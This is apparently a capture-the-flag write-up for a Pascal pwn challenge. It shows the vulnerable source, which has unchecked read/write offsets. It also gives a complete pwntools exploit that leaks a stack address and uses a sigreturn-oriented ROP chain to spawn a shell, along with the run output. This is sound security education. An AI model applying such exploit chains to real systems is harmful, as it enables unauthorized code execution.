[PWNME2023 Finale] Pwn - Blaise

5 minute read

Introduction

This challenge was made by Express for the Pwnme CTF Finale and was an easy pwn challenge wrote in Pascal.

TL;DR

  • Exploit an arbitrary write to do a SROP.

Static analysis of the program

We are given the following code for the challenge:

  1Program pwnme(output);
  2
  3var
  4  retry: char;
  5  choice: char;
  6
  7function write_data : integer;
  8var
  9  i: integer;
 10  value: String;
 11  offset: integer;
 12  buf: array[0..0] of Byte;
 13begin
 14  // Get offset
 15  Write('Offset: ');
 16  Flush(Output);
 17  ReadLn(Input, offset);
 18
 19  // Get value
 20  Write('Value: ');
 21  Flush(Output);
 22  ReadLn(Input, value);
 23
 24  // Write value
 25  for i := 0 to length(value) do
 26  begin
 27    buf[i + offset] := byte(value[i]);
 28  end;
 29
 30  Write('[?] You wrote ');
 31  Write(i);
 32  WriteLn(' bytes.');
 33  Flush(Output);
 34
 35  write_data := i;
 36end;
 37
 38function read_data : integer;
 39var
 40  i: integer;
 41  size: integer;
 42  offset: integer;
 43  buf: array[0..0] of Byte;
 44begin
 45  // Get offset
 46  Write('Offset: ');
 47  Flush(Output);
 48  ReadLn(Input, offset);
 49
 50  // Get size
 51  Write('Size: ');
 52  Flush(Output);
 53  ReadLn(Input, size);
 54
 55  // Read value
 56  for i := 0 to size do
 57  begin
 58    Write(byte(buf[i + offset]));
 59    Write(' ')
 60  end;
 61
 62  WriteLn('');
 63
 64  Write('[?] You read ');
 65  Write(i);
 66  WriteLn(' bytes.');
 67  Flush(Output);
 68
 69  read_data := i;
 70end;
 71
 72procedure menu;
 73begin
 74  WriteLn('What do you want ?');
 75  WriteLn('- 1. Read');
 76  WriteLn('- 2. Write');
 77  Write('> ');
 78end;
 79
 80begin
 81  repeat
 82  begin
 83    menu();
 84
 85    Flush(Output);
 86
 87    ReadLn(Input, choice);
 88
 89    case choice of
 90      '1' : read_data();
 91      '2' : write_data();
 92      else 
 93        WriteLn('Error.');
 94        Flush(Output);
 95        exit;
 96    end;
 97    
 98    // Try again ?
 99    WriteLn('[+] Try again ?');
100    Write('> ');
101    Flush(Output);
102
103    ReadLn(Input, retry)
104  end;
105  until retry <> 'y';
106
107  WriteLn('Goodbye.');
108  Flush(Output);
109end.

The binary has two major functions:

  • Read data with the read_data function .
  • Write data with the write_data function.

The read_data function reads the data like this:

1// Read value, offset is the input we provided the program
2  for i := 0 to size do
3  begin
4    Write(byte(buf[i + offset]));
5    Write(' ')
6  end;
7
8  WriteLn('');

The write_Data function writes the data like this:

1// Where both offset and value variables that we input.
2for i := 0 to length(value) do
3  begin
4    buf[i + offset] := byte(value[i]);
5  end;

Those two functions are interesting because they do not check the offset we give to write/read to.

It means that if we find a way to leak the address of the buf variable, we would end up with an arbitrary read/write: as an example, if the address of buf is 0x7ffffffdf050 and we want to write to 0x7ffffffdd000 we would need to give the program the offset 0x7ffffffdd000-0x7ffffffdf050=-8272 .

This is the function I wrote in python to automate the arbitrary read:

 1def write_data(base,target, content):
 2    p.sendline(b"2")
 3    p.recvuntil(b"Offset: ")
 4    offset_addr = target - base
 5    /*
 6        I add 0x110 to the result because for some reason, 
 7        the program substracted 0x110 to my address. 
 8        After investigating I found that it was because the line moving 
 9        the content to the address did this:
10        mov     byte [rbp+rcx-0x110 {var_118}], dl
11    */
12    p.sendline(str(offset_addr+0x110).encode())
13    p.recvuntil(b"Value: ")
14    p.sendline(content)

After debugging the binary I found that we could leak a stack address by simply reading 8 bytes at the offset 20 and we would then find the address of buf.

Which gives us the following function:

1def get_leak():
2    p.sendline(b"1")
3    p.recvuntil(b"Offset: ")
4    p.sendline(str(20).encode())
5    p.recvuntil(b"Size: ")
6    p.sendline(str(8-1).encode())
7    return p.recvline().strip()

We now have every elements to exploit our program: we have defeated the ASLR and we have an arbitrary write and arbitrary read .

Now what ?

In case you forgot, the program has been wrote in Pascal which has the particularity of 1. being a pain in the ass to decompile 2. not using the libc so we can’t just do system("/bin/sh”) we have to make a rop that spawns a shell.

ye

A SROP (Sigreturn-oriented programming) is a technique presented in 2014 at the 35th IEEE Symposium on Security and Privacy and allows us via the syscall 15 to craft a fake sigcontext structure (could be called a “context” I guess ?) for the binary to return to in case the signal handler is completed. Via this technique we can control the value of every registers without being limited by the available gadgets.

Because pwntools is a work of art, we don’t need to make our fake sigcontext structure by hand:

1pop_rax    = 0x0000000000414063
2syscall    = 0x000000000040106e
3
4frame = SigreturnFrame()
5frame.rax = 0x3b            # execve
6frame.rdi = bin_sh           # pointer to /bin/sh that we wrote with our arbitrary write.
7frame.rsi = 0x0             # NULL
8frame.rdx = 0x0             # NULL
9frame.rip = 0x000000000040106e # syscall

The last thing to do is to overwrite the return address with our rop chain and here we are.

Exploit

Here is my final exploit in python:

 1from pwn import *
 2
 3elf = context.binary = ELF('./challenge', checksec=False)
 4
 5
 6p = process(elf.path)
 7
 8def get_leak():
 9    p.sendline(b"1")
10    p.recvuntil(b"Offset: ")
11    p.sendline(str(20).encode())
12    p.recvuntil(b"Size: ")
13    p.sendline(str(8-1).encode())
14    return p.recvline().strip()
15
16def write_data(base,target, content):
17    p.sendline(b"2")
18    p.recvuntil(b"Offset: ")
19    offset_addr = target - base
20    p.sendline(str(offset_addr+0x110).encode())
21    p.recvuntil(b"Value: ")
22    p.sendline(content)
23
24
25
26p.recvuntil(b"> ")
27leak = get_leak()
28leak = leak.split()[::-1]
29
30base_leak = b"0x"
31
32for x in leak:
33    base_leak += hex(int(x, 10)).replace("0x", "").rjust(2, "0").encode()
34
35base_leak = int(base_leak, 0)-32
36ret_addr = base_leak + 7
37
38
39info("BASE LEAK @%s" % hex(base_leak))
40info("RET ADDR  @%s" % hex(ret_addr))
41
42p.sendline(b"y")
43
44
45write_data(base_leak, base_leak + 500, b"/bin/sh\0")
46
47info("bin_sh @%s" % hex(base_leak + 501))
48
49bin_sh = base_leak + 501
50
51p.sendline(b"y")
52
53
54pop_rax    = 0x0000000000414063
55syscall    = 0x000000000040106e
56
57frame = SigreturnFrame()
58frame.rax = 0x3b            # execve
59frame.rdi = bin_sh           # pointer to /bin/sh
60frame.rsi = 0x0             # NULL
61frame.rdx = 0x0             # NULL
62frame.rip = 0x000000000040106e # syscall
63
64rop = p64(pop_rax)+p64(15)+p64(syscall)+bytes(frame)
65
66write_data(base_leak, ret_addr, rop)
67
68
69p.sendline(b"echo PWNED")
70p.interactive()

Here is the result once executed:

 1~/PwnMe/Finale/sources ยป python exploit.py                                                               
 2[+] Starting local process '/home/number/PwnMe/Finale/sources/challenge': pid 1153
 3[*] BASE LEAK @0x7ffc32bd7ea0
 4[*] RET ADDR  @0x7ffc32bd7ea7
 5[*] bin_sh @0x7ffc32bd8095
 6[*] Switching to interactive mode
 7[?] You wrote 255 bytes.
 8PWNED
 9$ cat flag.txt
10PWNME{PLACEHOLDER}

Conclusion

Huge thanks to Express for this fun chall that introduced me to the programming language “Pascal”.

If you have any question about my writeup, feel free to send me a message on Discord: @numb3rss or on Twitter: https://twitter.com/numbrs